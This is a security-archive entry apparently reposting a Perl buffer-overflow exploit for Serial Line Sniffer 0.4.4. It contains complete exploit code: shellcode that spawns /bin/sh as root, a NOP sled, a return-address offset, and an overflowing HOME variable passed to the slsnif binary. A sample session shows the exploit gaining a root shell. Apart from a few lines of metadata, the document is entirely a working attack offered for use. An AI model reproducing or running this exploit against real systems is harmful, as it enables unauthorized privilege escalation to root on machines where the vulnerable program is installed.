Serial Line Sniffer 0.4.4 Buffer Overflow

2006-01-12T00:00:00
ID SECURITYVULNS:DOC:10999
Type securityvulns
Reporter Securityvulns
Modified 2006-01-12T00:00:00

Description

Original can be found at http://shellcoders.com/sintigan/slsnif-ploit.pl

Author: Sintigan@shellcoders.com

http://www.shellcoders.com/

----------------------------------------

Program ID: Serial Line Sniffer 0.4.4

sintigan@midnight:/home/sintigan$ perl slsnif-ploit.pl

sh-3.00# id

uid=0(root) gid=100(users) groups=100(users)

---------------------------------------

Greetz to Elohimus, Melkor, Modzilla, tgo, asTHma, and bk

and whoever else i forgot

#!/usr/bin/perl $shellcode = "\x31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

$buf = 288; $ret = 0xbffff3a0; $nop = "\x90"; $offset = -250;

if (@ARGV == 1) { $offset = $ARGV[0]; }

for ($i = 0; $i < ($buf - length($shellcode) - 100); $i++) { $buffer .= $nop; }

$buffer .= $shellcode; $addr = pack('l', ($ret + $offset)); for ($i += length($shellcode); $i < $buf; $i += 4) { $buffer .= $addr; } $ENV{'HOME'} = $buffer; exec("/usr/local/bin/slsnif");